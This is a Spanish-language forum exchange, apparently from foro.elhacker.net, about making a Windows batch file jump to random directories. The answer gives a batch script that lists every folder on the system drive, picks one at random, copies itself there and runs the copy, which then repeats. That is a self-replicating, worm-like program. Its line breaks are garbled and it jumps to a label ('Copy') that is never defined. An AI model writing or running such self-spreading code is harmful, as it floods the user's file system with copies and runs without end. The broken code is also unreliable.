Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:
Si, se puede, se me ocurre una manera:
:: Listar todas las carpetas del disco
Dir /B /S /AD "
%homedrive%\"
> Lista.txt
:: Una funcion para randomizar la lista, y tomar una linea de la lista aleatoriamente.
For /F +
%RANDOM% + Lista.txt...
(por ejemplo)
pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.
Creo que te refieres a esto:
If "
%~1"
EQU ""
(Dir /B /S /AD "
%HOMEDRIVE%\"
> "
%TEMP%\Dirs.txt"
)
:Commands
echo foro.elhacker.net
| MORE
For /F "Tokens=*"
%%a in ('Type "
%TEMP%\Dirs.txt"
^| MORE +
%RANDOM%'
) Do (Set "Folder=
%%a"
& Goto :
Break)
:Break
Copy %0 "
%Folder%\" 1
>NUL 2
>&1
&& CMD /C "
%Folder%\
%~xn0" NEXT
|| Goto :
Copy
PD: Va algo lento